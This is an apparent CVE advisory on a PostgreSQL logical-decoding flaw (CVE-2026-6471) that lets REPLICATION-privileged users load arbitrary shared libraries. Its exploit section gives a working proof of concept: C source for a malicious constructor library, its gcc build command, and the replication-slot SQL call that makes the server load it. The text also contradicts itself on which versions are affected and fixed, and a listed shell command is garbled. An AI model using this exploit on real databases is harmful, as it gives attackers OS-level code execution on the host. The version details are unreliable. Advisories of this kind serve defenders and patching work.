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CVE-2026-6471 is a high-severity missing authorization vulnerability in PostgreSQL’s logical decoding feature. Logical decoding is a core PostgreSQL mechanism that allows change data capture (CDC) and replication by extracting changes from the write-ahead log (WAL) and transforming them into a consumable format via output plugins. These plugins are implemented as dynamically loaded shared libraries (.so files on Linux/Unix) that the PostgreSQL server loads at runtime using the `dlopen()` system call.
The vulnerability stems from an authorization failure: when a user creates a logical replication slot, the `plugin` parameter—which specifies which shared library to load—is only validated against the `REPLICATION` privilege. No additional check is performed to verify whether the user is a superuser or whether the specified plugin path is from a trusted location. The `REPLICATION` privilege, designed to grant the ability to subscribe to change streams, inadvertently bestows the ability to instruct the server to load and execute arbitrary shared libraries from any filesystem path visible to the operating system account running the PostgreSQL server.
An attacker with only `REPLICATION` privileges—a permission often widely granted in organizations for setting up CDC pipelines and data synchronization—can specify a malicious plugin path pointing to a dynamically compiled shared object file under their control. Upon slot creation, the PostgreSQL server calls `dlopen()` on that file, executing the library’s initialization code with the full privileges of the PostgreSQL operating system user (typically postgres). This results in arbitrary code execution at the OS level, completely bypassing PostgreSQL’s internal database privilege model. All PostgreSQL versions before 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.
DailyCVE Form:
Platform: PostgreSQL
Version: <18.5,<17.11,<16.15,<15.19,<14.24
Vulnerability: Missing Authorization (dlopen RCE)
Severity: High (CVSS 7.2)
date: 2026-08-13
Prediction: Patch already released (2026-08-13)
What Undercode Say:
Analytics of the vulnerability shows that logical decoding plugins are loaded via `dlopen()` without superuser verification. The following command demonstrates how to check current PostgreSQL version and logical decoding plugin directory:
Check PostgreSQL version psql -V Check logical decoding plugin directory pg_config --pkglibdir List available plugins ls -la $(pg_config --pkglibdir)/.so
The release notes confirm the fix introduces a new server parameter `output_plugin_libraries` to restrict allowed plugins. The fix is included in PostgreSQL 18.6 (skipping 18.5 due to regression), 17.11, 16.15, 15.19, and 14.24, released on August 13, 2026.
Exploit: (Educational Purposes!)
To exploit CVE-2026-6471, an attacker must have `REPLICATION` privileges on the target PostgreSQL instance and be able to place a malicious shared library on the server’s filesystem. The steps are:
1. Compile a malicious shared library (e.g., malicious.so) that executes arbitrary code in its initialization section:
include <stdio.h>
include <stdlib.h>
include <unistd.h>
<strong>attribute</strong>((constructor)) void init(void) {
// This code runs when dlopen() loads the library
system("id > /tmp/pwned.txt");
system("whoami >> /tmp/pwned.txt");
}
Compile with:
gcc -shared -fPIC -o malicious.so malicious.c
2. Place the library in a location readable by the PostgreSQL OS user (e.g., `/tmp/malicious.so` or any directory accessible to the server).
3. Create a logical replication slot specifying the malicious plugin path:
-- Connect as a user with REPLICATION privilege SELECT pg_create_logical_replication_slot( 'malicious_slot', '/tmp/malicious.so' -- Attacker-controlled plugin path );
Upon execution, PostgreSQL will call dlopen('/tmp/malicious.so'), triggering the library’s constructor and executing arbitrary code as the `postgres` OS user. This allows reading configuration files, modifying data directories, exfiltrating data, or further compromising the host system.
Protection:
Immediately upgrade to a patched version: PostgreSQL 18.6, 17.11, 16.15, 15.19, or 14.24. If immediate upgrade is not possible, restrict `REPLICATION` privileges to only trusted superuser accounts, and audit existing users with this permission. The patch introduces a new server parameter `output_plugin_libraries` that restricts logical decoding plugins to a predefined allowlist. Administrators should configure this parameter to only permit trusted, verified plugins.
Impact:
Successful exploitation allows an attacker with `REPLICATION` privileges to execute arbitrary code as the operating system user running the PostgreSQL server. This effectively grants full control over the database server’s host system, enabling data theft, configuration manipulation, ransomware deployment, and lateral movement within the network. The vulnerability bypasses PostgreSQL’s database-level privilege boundaries, escalating from a limited database user to full OS-level access. Given that `REPLICATION` privileges are often widely distributed for CDC and replication setups, the attack surface is significant in many production environments. The CVSS v3.1 score is 7.2 (High) with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
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Sources:
Reported By: nvd.nist.gov
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